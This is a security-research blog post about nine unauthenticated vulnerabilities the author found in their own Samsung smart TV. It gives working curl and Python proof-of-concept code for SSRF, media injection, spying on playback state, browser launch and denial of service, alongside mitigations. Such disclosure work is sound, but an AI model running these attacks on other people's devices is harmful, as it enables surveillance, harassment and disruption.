← Blog
general

Trying to Break My Samsung TV

Admin 15 Apr 2026
IOT TV WEB

📺 An afternoon at home, Twitter and "why not?"

An afternoon at home, reading Twitter, I saw someone who had hacked their TV. And I thought: "why not...?"

I had a Samsung Q60D (TQ50Q60DAUXXC, firmware T-NKLDDEUC-0090-2115.2) connected to my home network. I set it up in the living room, ran an nmap against it and started pulling the thread. What started as curiosity turned into 9 confirmed vulnerabilities, several of them exploitable without authentication from any device on the same WiFi network.

This post has all the details: protocols, working PoCs and an explanation of why each thing works.


📡 How a Smart TV works on the inside

Before talking about bugs, you need to understand what is running on the TV.

A modern Smart TV is not just a display. It is a full network server that exposes services so your phone, tablet and other apps on the network can control it. The main protocols are:

  • UPnP/DLNA: XML/SOAP-based control protocol. It lets apps like VLC or your phone tell the TV "play this file", "stop", "turn the volume up". Messages are in XML and sent over HTTP POST.
  • DIAL (Discovery and Launch): Protocol used by Netflix, YouTube and Chrome to discover receivers on the network and launch applications on them. The TV exposes an HTTP API where you can ask "do you have Netflix?" and request it to start.
  • SmartView / WebSocket: Samsung's proprietary API used by remote control apps. They connect via WebSocket and send JSON events.
  • Google Cast / AirPlay: Google's and Apple's casting protocols respectively. The TV acts as the receiver.

All of this is useful for user convenience. The problem is when none of these services require authentication.

🔍 Enumeration: how many ports does a Samsung have open

The first thing I did was a basic nmap:

nmap -sV -p- 192.168.1.36

Result: 16 open TCP ports.

Port Service Auth
7000 AirPlay/AirTunes RTSP NO
7678 UPnP DIAL Receiver NO
8001 SmartView API v2 PARTIAL
8008 Google Cast NO
8080 DIAL WebServer PARTIAL
8187 UPnP AllShare NO
9119 UPnP ScreenSharing NO
9197 UPnP DMR / DLNA NO
... ... ...

80% of the services required no credentials whatsoever.

I discovered the SSDP services with:

gssdp-discover -i eth0 --timeout=5

The TV was announcing itself on the network with three different UUIDs pointing to UPnP services on ports 9197 and 9119.


🚨 VULN-001: SSRF via UPnP SetAVTransportURI

Port: 9197 | Auth: None | Severity: High

How UPnP/DLNA works

The UPnP protocol allows a client (your phone) to send SOAP actions to the TV to control playback. The SetAVTransportURI action is what tells the TV "load this media resource". The TV receives a URL and makes an HTTP request to that URL to verify the content before playing it.

The problem: it accepts any URL with no authentication and without validating that it is media.

Why it works

When you send SetAVTransportURI, the TV makes two requests to the server indicated by the URL:

  1. HEAD — to check headers (content type, size, DLNA support)
  2. GET — to download the content

This turns the TV into an involuntary HTTP proxy: you can make it resolve internal names, probe ports, and make requests on your behalf from its position on the network.

Full PoC

1. Set up an HTTP server to capture the TV's requests:

python3 -m http.server 9999

2. Send the SOAP action:

curl -s -X POST http://192.168.1.36:9197/upnp/control/AVTransport1 \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"' \
  -d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
      <InstanceID>0</InstanceID>
      <CurrentURI>http://192.168.1.46:9999/test</CurrentURI>
      <CurrentURIMetaData></CurrentURIMetaData>
    </u:SetAVTransportURI>
  </s:Body>
</s:Envelope>'

3. What appeared on the HTTP server:

[18:58:47] 192.168.1.36:59180 → HEAD /test.mp4 → 200
  Headers: {'Host': '192.168.1.46:9999', 'getcontentFeatures.dlna.org': '1', 'getCaptionInfo.sec': '1'}
[18:58:47] 192.168.1.36:59190 → GET /test.mp4 → 200
  Headers: {'Host': '192.168.1.46:9999', 'getcontentFeatures.dlna.org': '1'}

The TV made HEAD and GET requests to my server without me doing anything else. The source IP was 192.168.1.36 — the TV itself.

PoC: SetAVTransportURI forcing a request from the TV

Real impact:

  • The TV acts as a proxy to make requests to any host/port on the network
  • You can scan internal hosts from the TV's position
  • When I tested with http://localhost:PORT/, it returned error 716 for internal ports (which confirms it is trying)

📺 VULN-002: Media Injection without authentication

Port: 9197 | Auth: None | Severity: High

Why it works

Once you have SetAVTransportURI, the TV loads whatever you send it. And with the Play action, it plays it. No popup, no confirmation, no PIN. Any device on the WiFi network can put whatever it wants on screen.

MIME types it accepts directly: image/bmp, image/jpeg, image/png, audio/mpeg, video/mp4, video/x-matroska.

Full PoC — Display a red image on the TV

#!/bin/bash
TV=192.168.1.36
MY_IP=192.168.1.46

# 1. Create a 200x200 red BMP image
python3 -c "
import struct
w, h = 200, 200
rs = (w*3+3)&~3
d = b'BM' + struct.pack('<I',54+rs*h) + b'\0\0\0\0' + struct.pack('<I',54)
d += struct.pack('<I',40) + struct.pack('<ii',w,h) + struct.pack('<HH',1,24) + b'\0'*24
for y in range(h):
    d += b'\x00\x00\xff'*w + b'\0'*(rs-w*3)
open('/tmp/pwned.bmp','wb').write(d)
"

# 2. Serve the file
cd /tmp && python3 -m http.server 9999 &
sleep 1

# 3. Load on the TV with DLNA metadata
curl -s -X POST "http://$TV:9197/upnp/control/AVTransport1" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"' \
  -d "<?xml version=\"1.0\"?>
<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\"
  s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
  <s:Body>
    <u:SetAVTransportURI xmlns:u=\"urn:schemas-upnp-org:service:AVTransport:1\">
      <InstanceID>0</InstanceID>
      <CurrentURI>http://${MY_IP}:9999/pwned.bmp</CurrentURI>
      <CurrentURIMetaData>&lt;DIDL-Lite xmlns=&quot;urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:upnp=&quot;urn:schemas-upnp-org:metadata-1-0/upnp/&quot;&gt;&lt;item id=&quot;0&quot; parentID=&quot;-1&quot; restricted=&quot;false&quot;&gt;&lt;dc:title&gt;HACKED&lt;/dc:title&gt;&lt;res protocolInfo=&quot;http-get:*:image/bmp:*&quot;&gt;http://${MY_IP}:9999/pwned.bmp&lt;/res&gt;&lt;upnp:class&gt;object.item.imageItem&lt;/upnp:class&gt;&lt;/item&gt;&lt;/DIDL-Lite&gt;</CurrentURIMetaData>
    </u:SetAVTransportURI>
  </s:Body>
</s:Envelope>"

sleep 1

# 4. Play
curl -s -X POST "http://$TV:9197/upnp/control/AVTransport1" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#Play"' \
  -d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:Play xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
      <InstanceID>0</InstanceID><Speed>1</Speed>
    </u:Play>
  </s:Body>
</s:Envelope>'

Real response from the TV:

<u:SetAVTransportURIResponse/>   ← Loaded successfully
<u:PlayResponse/>                ← Playback started
<CurrentTransportState>TRANSITIONING</CurrentTransportState>

Server log:

[19:00:16] 192.168.1.36 → HEAD /pwned.bmp → 200
[19:00:20] 192.168.1.36 → GET  /pwned.bmp → 200
[19:00:20] 192.168.1.36 → GET  /pwned.bmp → 200
[19:00:21] 192.168.1.36 → GET  /pwned.bmp → 200  ← third download = active rendering

1000132120.jpg

PoC: SetAVTransportURI + Play loading a red BMP without consent

The TV downloaded the image three times (verification + decoding + render) and displayed it on screen.

UPnP actions available without authentication: SetAVTransportURI, Play, Stop, Pause, Next, Previous, GetTransportInfo, GetMediaInfo, GetPositionInfo


👁️ VULN-003: SSRF via UPnP SUBSCRIBE callbacks

Ports: 9197, 9119 | Auth: None | Severity: Medium-High

How UPnP Events work

In addition to sending commands, UPnP allows subscribing to events. It works like this: you tell the TV "when you change state, notify me at this URL". The TV saves your callback and every time someone changes the volume, stops a movie or changes the source, it sends an HTTP NOTIFY with the full state.

This is so your remote control app can update its interface in real time. The problem is that it accepts any URL as callback, with no authentication.

PoC: spying on what someone is watching on the TV

#!/bin/bash
TV=192.168.1.36
MY_IP=192.168.1.46

# 1. Server that captures and parses the events
python3 -c "
import http.server, time

class H(http.server.BaseHTTPRequestHandler):
    def do_NOTIFY(self):
        body = self.rfile.read(int(self.headers.get('Content-Length',0)))
        print(f'[{time.strftime(\"%H:%M:%S\")}] TV State Change:')
        text = body.decode('utf-8', errors='replace')
        if 'TransportState' in text:
            import re
            state = re.findall(r'TransportState val=\"([^\"]+)\"', text)
            uri = re.findall(r'CurrentTrackURI val=\"([^\"]+)\"', text)
            title = re.findall(r'dc:title[^>]*>([^<]+)<', text)
            if state: print(f'  State: {state[0]}')
            if uri:   print(f'  URI: {uri[0]}')
            if title: print(f'  Title: {title[0]}')
        self.send_response(200)
        self.end_headers()
    def log_message(self, *a): pass

print('Listening for TV state changes...')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &
sleep 1

# 2. Subscribe — the TV will send NOTIFYs to my server
curl -s -X SUBSCRIBE "http://$TV:9197/upnp/event/AVTransport1" \
  -H "CALLBACK: <http://$MY_IP:9999/spy>" \
  -H "NT: upnp:event" \
  -H "TIMEOUT: Second-1800"

TV response:

HTTP/1.1 200 OK
SID: uuid:10349287-2848-47ce-98a5-d3f737c670f7
TIMEOUT: Second-300

Notifications received (more than 100 in a test session):

NOTIFY /spy HTTP/1.1
SID: uuid:10349287-2848-47ce-98a5-d3f737c670f7
NT: upnp:event
NTS: upnp:propchange
User-Agent: Samsung Server UPnP/1.0

<AVTransportURI val="http://...content_being_played..."/>
<TransportState val="PLAYING"/>

PoC: SUBSCRIBE + trigger + NOTIFY arriving at the attacker

Subscribable services without auth:

  • /upnp/event/AVTransport1 — playback state
  • /upnp/event/RenderingControl1 — volume and mute
  • /upnp/event/ConnectionManager1 — active connections
  • /upnp/event/ScreenSharingService1 — mirroring state

📱 VULN-004: ScreenSharing without user approval

Port: 9119 | Auth: None | Severity: High

How Screen Mirroring works

Samsung uses WiFi Direct (P2P) for screen mirroring. The negotiation starts with a SOAP call where the client says "I want to connect for mirroring, here are my MACs". Normally this should show a popup on the TV asking for approval.

It does not. The X_ConnectScreenSharingM2TV action responds directly and also leaks the BSSID of the WiFi router the TV is connected to.

Why that matters

The BSSID is the MAC address of the WiFi access point. With that information and public databases like WiGLE, you can triangulate the geographic location of the device (and therefore the home or office where it is).

PoC

curl -s -X POST http://192.168.1.36:9119/upnp/control/ScreenSharingService1 \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H 'SOAPAction: "urn:samsung.com:service:ScreenSharingService:1#X_ConnectScreenSharingM2TV"' \
  -d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:X_ConnectScreenSharingM2TV
      xmlns:u="urn:samsung.com:service:ScreenSharingService:1">
      <mWlanMacAddress>AA:BB:CC:DD:EE:FF</mWlanMacAddress>
      <mP2pDeviceAddress>AA:BB:CC:DD:EE:FF</mP2pDeviceAddress>
      <mBluetoothMacAddress>AA:BB:CC:DD:EE:FF</mBluetoothMacAddress>
      <mWFDSourcePort>7236</mWFDSourcePort>
    </u:X_ConnectScreenSharingM2TV>
  </s:Body>
</s:Envelope>'

Real response from the TV:

<u:X_ConnectScreenSharingM2TVResponse>
  <tBSSID>44:3b:14:2b:8c:78</tBSSID>
  <tWlanFreq>2437</tWlanFreq>
  <tListenFreq>2437</tListenFreq>
</u:X_ConnectScreenSharingM2TVResponse>

The BSSID 44:3b:14:2b:8c:78 is my router's MAC. The frequency 2437 MHz corresponds to channel 6 of the 2.4GHz band.


🔌 VULN-005: WebSocket channels without authentication

Port: 8001 | Auth: None (on several channels) | Severity: Medium

How SmartView works

Samsung's SmartView API allows full remote control of the TV. It works via WebSocket: the app connects, the TV shows a popup asking to accept the connection, and if the user accepts, the session is established.

The samsung.remote.control channel (the one that sends remote control keys) does require a token. But there are many other channels that connect directly:

Channel Result
samsung.remote.control ms.channel.unauthorized
samsung.remote ms.channel.connect ✓ no auth
samsung.companion ms.channel.connect ✓ no auth
com.samsung.companion ms.channel.connect ✓ no auth
samsung.art.control ms.channel.connect ✓ no auth
samsung.channel.0 ms.channel.connect ✓ no auth

PoC

import asyncio, websockets, json, base64

async def connect():
    name = base64.b64encode(b"SecurityTest").decode()
    uri = f"ws://192.168.1.36:8001/api/v2/channels/samsung.companion?name={name}"
    async with websockets.connect(uri) as ws:
        msg = await ws.recv()
        data = json.loads(msg)
        print(f"Event: {data['event']}")
        print(f"Assigned client ID: {data['data']['id']}")
        print(f"Connected clients: {len(data['data']['clients'])}")

asyncio.run(connect())

Real response:

{
  "data": {
    "clients": [{
      "attributes": {"name": "U2VjdXJpdHlUZXN0"},
      "connectTime": 1776186527030,
      "deviceName": "U2VjdXJpdHlUZXN0",
      "id": "cbab98f8-bde9-4116-865f-6e427cd5645d",
      "isHost": false
    }],
    "id": "cbab98f8-bde9-4116-865f-6e427cd5645d"
  },
  "event": "ms.channel.connect"
}

PoC: channel matrix — one requires token, the rest accept without anything

A persistent session established, no popup on screen, no user confirmation.


📊 VULN-006: Massive Information Disclosure

Ports: 8001, 7000, 8008, 9119, 7678, 8080 | Auth: None | Severity: Medium

Why it matters

The TV exposes identity and context data on public endpoints without authentication. On its own this is not an exploit, but it is the fuel that makes the other attacks much more precise.

PoC: full TV fingerprint

#!/bin/bash
TV=192.168.1.36

echo "=== SmartView API ==="
curl -s "http://$TV:8001/api/v2/" | python3 -m json.tool

echo "=== Google Cast ==="
curl -s "http://$TV:8008/setup/eureka_info" | python3 -m json.tool

echo "=== AirPlay ==="
curl -s "http://$TV:7000/info" | strings | grep -E "(firmware|serial|model|version|build|mac|SDK|Engine)"

echo "=== Screen Sharing MACs ==="
curl -s "http://$TV:9119/screen_sharing" | python3 -c "
import sys, re
text = sys.stdin.read()
ss = re.findall(r'X_ScreenSharing>([^<]+)', text)
if ss:
    for pair in ss[0].split(','): print(f'  {pair}')
"

echo "=== DIAL Apps ==="
for app in Netflix YouTube; do
    state=$(curl -s -m 2 "http://$TV:8080/ws/apps/$app" | python3 -c "import sys,re; m=re.search(r'<state>([^<]+)',sys.stdin.read()); print(m.group(1) if m else '?')")
    echo "  $app: $state"
done

What it returns:

Data Value Source
Model TQ50Q60DAUXXC 8001, 9197
Firmware T-NKLDDEUC-0090-2115.2 8001, 7000
Serial 0FJC3SCXA03609V 7000, 9197
WiFi MAC 28:E6:A9:6E:38:D6 8001, 9119
Ethernet MAC F4:DD:06:AC:EE:A0 7000, 9119
Bluetooth MAC 28:E6:A9:6E:38:D7 9119
P2P MAC 2A:E6:A9:6E:38:D6 9119, 9197
Router BSSID 44:3B:14:2B:8C:78 8001, 9119
Web Engine Chromium 74.128.1 7000
Full RSA Public Key 2048-bit 8008
Netflix stopped v80.24.16020 8080

PoC: full TV fingerprint without authentication


🔊 VULN-007: UPnP RenderingControl without authentication — remote volume and mute

Port: 9197 | Auth: None | Severity: Medium

Why it matters

The same UPnP service that enables the other vulns on port 9197 (AVTransport, RenderingControl, ConnectionManager) also exposes full volume and mute control without authentication. Anyone on the WiFi can mute the TV, suddenly max out the volume or toggle mute — pure sabotage, and at 100% volume there is a real auditory risk.

This was not obvious upfront — RenderingControl sounds like graphical rendering control, but it includes the audio mixer.

Real PoC against my TV

TV=192.168.1.36

# Read current volume
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
  -H 'Content-Type: text/xml; charset=utf-8' \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#GetVolume"' \
  -d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:GetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel></u:GetVolume></s:Body></s:Envelope>'

# Lower to 7 (or 100, or whatever you want)
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
  -H 'Content-Type: text/xml; charset=utf-8' \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#SetVolume"' \
  -d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel><DesiredVolume>7</DesiredVolume></u:SetVolume></s:Body></s:Envelope>'

# Mute ON
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
  -H 'Content-Type: text/xml; charset=utf-8' \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#SetMute"' \
  -d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetMute xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel><DesiredMute>1</DesiredMute></u:SetMute></s:Body></s:Envelope>'

Real response:

<u:GetVolumeResponse><CurrentVolume>22</CurrentVolume></u:GetVolumeResponse>
<u:SetVolumeResponse/>                     ← lowered to 7
<u:GetVolumeResponse><CurrentVolume>7</CurrentVolume></u:GetVolumeResponse>
<u:SetMuteResponse/>                       ← muted

PoC: GetVolume → SetVolume → GetVolume → Restore

RenderingControl:1 service actions available without auth: GetVolume, SetVolume, GetMute, SetMute, ListPresets, SelectPreset, X_GetAspectRatio, X_SetAspectRatio, X_Move360View, X_Zoom360View, X_Origin360View, X_ControlCaption.

Combined with VULN-002 you have a perfect prank/harassment weapon: full-screen image + volume at 100 + mute off, without a single click from the user.


🌐 VULN-008: Browser launch without auth — DIAL ↔ MSF desynchronization

Port: 8001 (WebSocket) | Auth: None | Severity: Medium-High

How I found it

Looking for a way to open the TV's browser to a URL, the obvious path is DIAL (POST /ws/apps/WebBrowser), which responds 200 OK but leaves the state as stopped. Samsung maintains a whitelist in the DIAL launcher that explicitly blocks the browser — a reasonable hardening decision.

But Samsung has two independent paths to the app launcher: DIAL and MSF (Multi-Screen Framework, via WebSocket on port 8001). And only the DIAL whitelist covers the browser. The MSF API launches org.tizen.browser without complaint.

Why it works

The samsung.remote.control WebSocket channel does require a token (which covers SendRemoteKey, the main method for simulating remote control presses). But other channels — samsung.remote, samsung.companion, samsung.art.control, samsung.channel.0 — accept connection without a token (VULN-005).

Within any of those channels, the ms.application.start method is processed without checking whether the client is authorized to launch that specific app. DIAL has a whitelist; MSF does not. Double launcher, guard on only one door.

Full PoC

import asyncio, websockets, json, base64

async def pwn():
    name = base64.b64encode(b"attacker").decode()
    uri = f"ws://192.168.1.36:8001/api/v2/channels/samsung.remote?name={name}"
    async with websockets.connect(uri) as ws:
        await ws.recv()  # handshake
        await ws.send(json.dumps({
            "method": "ms.application.start",
            "params": {"id": "org.tizen.browser"}
        }))

asyncio.run(pwn())

Evidence:

$ curl -s http://192.168.1.36:8080/ws/apps/WebBrowser | grep state
<state>stopped</state>

$ python3 pwn.py

$ curl -s http://192.168.1.36:8080/ws/apps/WebBrowser | grep state
<state>running</state>           ← Browser opened without consent

PoC: DIAL blocks, MSF does not

What I did not achieve

I tried 33 variants of the payload to force the initial URL (data.url, data.uri, data.href, data.operation with uri, data.extra, top-level params, options.url, args.url, JSON stringified, ms.webapplication.start with different field names, alternative IDs WebBrowser / browser / Internet / com.samsung.tv-web-browser, etc.). In all cases, the browser launched but loaded its default home page. An HTTP server at 192.168.1.46 did not receive a single request from the TV.

Samsung appears to have decoupled the MSF launcher from Tizen app-control specifically to close this vector. Good defense in depth — but partial: the attacker can still open the browser without consent, which already enables prank scenarios, physical phishing (if the user keeps using the browser they see a "interrupted" screen in a credible way) and future escalation if a URL isolation bypass is ever discovered.

Bonus: Samsung already thought about this vector

Testing ms.channel.emit with events from the internal namespace, the TV responds:

{"event":"ms.error","data":{"message":"Usage of `ms.` in custom event is not allowed. Perhaps use a alternative namespace."}}

That message — written in non-native English with the suggestion to "use an alternative namespace" — reveals that someone hardened ms.channel.emit after observing this same injection pattern. But the hardening only covers emit, not ms.application.start directly. Classic hole from inconsistency.


🎛️ VULN-009: Inconsistent DIAL ACL and DELETE without auth

Port: 8080 | Auth: None (partial) | Severity: Medium

Problem 1: same API, different ACL per app

The DIAL API exposes each app under /ws/apps/<name>. The access control for POST (launch) is not uniform:

App External POST Behavior
Netflix 201 Created Launched without auth
YouTube 403 Forbidden IP-based ACL active
WebBrowser 404 Not Found Handler denies externals

There is no clean pattern. Netflix is exposed to trivial remote launch; YouTube is blocked; WebBrowser is in a strange state (the 404 is misleading — the handler exists, it just does not respond to POST for external clients, something I verified because the state does change internally under specific conditions).

Problem 2: DELETE is not in the ACL

The control applied to POST was not applied to DELETE. A DELETE /ws/apps/<app>/run request closes the app without auth or token:

# Any WiFi user can stop Netflix/YouTube/WebBrowser/etc.
curl -X DELETE http://192.168.1.36:8080/ws/apps/Netflix/run
# HTTP/1.1 200 OK

Trivial DoS: scripted over the installed apps, a local network attacker can prevent normal use of the TV (while true; do curl -X DELETE …; sleep 2; done). No visible logs, no popup, no way to know where it is coming from.

PoC: POST inconsistency + DELETE without auth

Why I care to document it

When responses from the same API vary by app without a clear pattern, it is easy to think there is a bypassable control where in reality there are just asymmetric policies. Documenting the inconsistency avoids misinterpreting handler difference as control bypass.


🛡️ Defenses that do work

The TV is not entirely Swiss cheese. There were things I tested that did not work:

Attack Defense Result
file:// in SetAVTransportURI Only accepts http:// Error 716
gopher://, dict://, ftp:// Only http:// Error 716
XXE via SOAP XML Parser rejects DOCTYPE Error 402
Command injection in URL Treated as literal Not interpreted
Format string %n%s Not processed Error 701
50K buffer overflow in metadata No crash Robust parser
HTML via DLNA MIME type blocked Error 714
WebSocket token bruteforce Solid token auth ms.channel.unauthorized
SOAP multi-action injection Only processes 1st action Ignores rest

🎓 What to learn from this

If you are a manufacturer (Samsung):

  1. Authentication on sensitive UPnP actionsSetAVTransportURI, Play, SetVolume and SetMute should not be accepted from anyone on the network without user confirmation
  2. Authorization on UPnP SUBSCRIBE — do not accept callbacks to arbitrary URLs without prior validation
  3. Approval popup in ScreenSharing — the user should confirm on screen
  4. Close unauthenticated WebSocket channelssamsung.companion, samsung.remote, etc., and gate ms.application.start equivalently to DIAL
  5. Reduce exposed information — serial, MACs, router BSSID, RSA public key... too much
  6. Uniform the DIAL ACL — Netflix without ACL, YouTube with ACL, DELETE without ACL: the policy has to be the same for all apps and all HTTP methods
  7. Synchronize DIAL and MSF whitelists — if DIAL blocks browser launch, MSF must apply the same rule, not open a second door

If you are a user:

  1. Separate IoT VLAN — the TV should not share a network with your work laptop
  2. Block ports 9197, 9119, 8187 from other devices if your router allows it
  3. Update firmware whenever a patch is available
  4. Do not connect the TV to public/shared WiFi networks

🚀 Conclusion

The story started with "I saw it on Twitter, why not?" and ended with 9 confirmed vulnerabilities exploitable from the same WiFi network without a single click from the user.

Where this can go wrong:

  • Hospitals: a TV in a meeting room with projected medical information — any visitor with a laptop can see what is being broadcast
  • Offices: manipulation of screens in waiting rooms or meeting rooms
  • Shared homes: curious flatmates with access to the same WiFi
  • Hotels: rooms on the same VLAN (it happens more than you'd think)

Another classic IoT reminder: security is designed after convenience, if it is designed at all.


This analysis was performed on my own Samsung Q60D on my home network.